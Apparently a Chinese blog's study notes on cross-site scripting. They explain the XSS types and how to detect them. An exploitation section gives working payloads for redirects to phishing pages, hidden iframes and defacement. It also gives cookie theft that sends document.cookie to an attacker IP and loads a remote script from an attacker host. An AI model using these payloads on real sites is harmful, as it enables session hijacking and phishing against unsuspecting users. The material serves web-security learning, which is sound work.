XSS

【推荐书籍:XSS跨站脚本攻击剖析与防御

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户浏览器的控制。漏洞存在于服务器端,攻击对象为WEB客户端。原理:为了使用户体验更好等因素,有部分代码会在浏览器中执行】

JavaScript详解】:与java语言无关;命名完全出于市场原因,是使用最广的客户端脚本语言

使用场景

  直接嵌入html:<script>alert('XSS')</script>

  元素标签事件:<body onload=alert('XSS')>

  图片标签:<img src="javascript:alert('xss');">

  其他标签:<iframe>,<div>,<link>

  DOM对象【文本对象模型】,篡改页面内容

可实现攻击方式:

  1、盗取cookie【若浏览器正在登录状态】

  2、重定向到特定站点【可做钓鱼也页面】

常用的客户端脚本语言:JavaScript,VBScript,Activex,Flash

XSS

  攻击参与方:攻击者,被攻击者,漏洞站点,第三方站点(攻击目标/攻击参与站)

  漏洞形成根源:服务器对用户提交数据过滤不严;提交给服务器的脚本被直接返回给其他客户端执行;脚本在客户端执行恶意操作

  XSS漏洞类型详解

    特点:注入代码可能是一个片段或完整的语句,客户端提交到服务器,服务器原封不动地返回客户端;探测时,通过爬网,观察变量。每个变量都进行测试,只要提交的数据或代码被原封不动地返回,则有可能存在XSS漏洞

    1、存储型(持久型)

    2、反射型(非持久型)【盗取cookie,重定向,安装键盘记录器等】

    3、DOM型(本地执行)

示例:

  真实情况中,每个页面的变量都要就行尝试。工具推荐:Burpsuite

反射型注入

测试是否存在XSS,依据:是否原封不动地将输入返回【可能在页面,也有可能在返回的源码】

HTML标签属性】

输入:<a href="http://192.168.1.1">click</a>  创建一条超链接

则可创建自己的超链接,在别人的网站实施挂马,重定向等操作【又称HTML注入】

#################################################################################

注入脚本【检测】

1、<script>alert('XSS')</script>

2、Html中的事件类型:

A:<a href='' onclick=alert('XSS')>type</a>  【使用burpsuite发送,需进行URL编码】

生成URL  【可做成onclick,也可以做成onload(打开页面,即执行)】

B:<img src=http://1.1.1.1/a.jpg onerror=alert('XSS')>  【当请求找不到这图片,则触发】

漏洞利用

1、重定向  <script>window.location="http://www.sina.com"</script>  【制作钓鱼页面,窃取用户账号密码】

  <iframe src="http://1.1.1.1" height="0" width="0"><iframe>

2、窃取浏览当前页面的用户的cookie信息  <script>new image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>  【可结合社会工程学,1.1.1.1为攻击者IP地址(域名)】

3、篡改页面  <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>  【反射型:实际上并没有被修改,但在客户端上可以看到已篡改页面;存储型:可以实现对页面的篡改,对网站的形象造成损害】

4、集成复杂代码

将代码集成为一个html文件,然后伪造钓鱼网站链接,结合社工,进行攻击

5、使目标服务器到黑客控制的肉鸡服务器上拿一个功能性的脚本文件,再交由客户端去执行。

在输入框注入:<script src=http://192.168.1.127/a.js></script>

a.js  【连接88端口】

 <html>
img.src = "http://192.168.1.127:88/cookies.php?cookie="+document.cookie;
</html>

最新文章

  1. Compound Interest Calculator4.0
  2. NeHe OpenGL教程 第十二课:显示列表
  3. Dev GridView 获取选中分组下的所有数据行 z
  4. Python用smtplib发送邮件
  5. 17_高级映射:一对一查询(使用resultType)
  6. Oracle 根据业务创建新的用户
  7. c#提出中文首字母
  8. 编辑控件CKEditor和CKFinder
  9. Echarts数据可视化polar极坐标系,开发全解+完美注释
  10. Lua API 小记1
  11. memcached经典问题和现象
  12. Cassanfra、Hbase和MongoDB的选取
  13. android BLE Peripheral 做外设模拟设备,供ios、android 连接通讯。
  14. 我的第一篇博客。(JavaScript的声明和数据类型的一些笔记)
  15. 《用Python玩转数据》项目—线性回归分析入门之波士顿房价预测(二)
  16. Struts2各个功能详解(2)-输入校验和拦截器
  17. 第二周工作总结——NWNU李泓毅
  18. 【转载】双调排序Bitonic Sort,适合并行计算的排序算法
  19. 在vi中搜索字符串,替换字符串
  20. Minimum Depth of Binary Tree,求树的最小深度

热门文章

  1. 在RHEL5.4下设置开机自动启动ORACLE 11G
  2. SKAction
  3. 微软IOC容器Unity简单代码示例3-基于约定的自动注册机制
  4. AutoCAD.NET 不使用P/Invoke方式调用acad.exe或accore.dll中的接口(如acedCommand、acedPostCommand等)
  5. 3.emWin5.26(ucGui)VS2008 2-D图形库-基本绘图【Worldsing笔记】
  6. HDU 4284Travel(状压DP)
  7. POJ 1852 Ants (等价思考)
  8. MD5加密类方法
  9. 实现jsp网页设为首页功能
  10. 完整Deploy WebPlayer的Config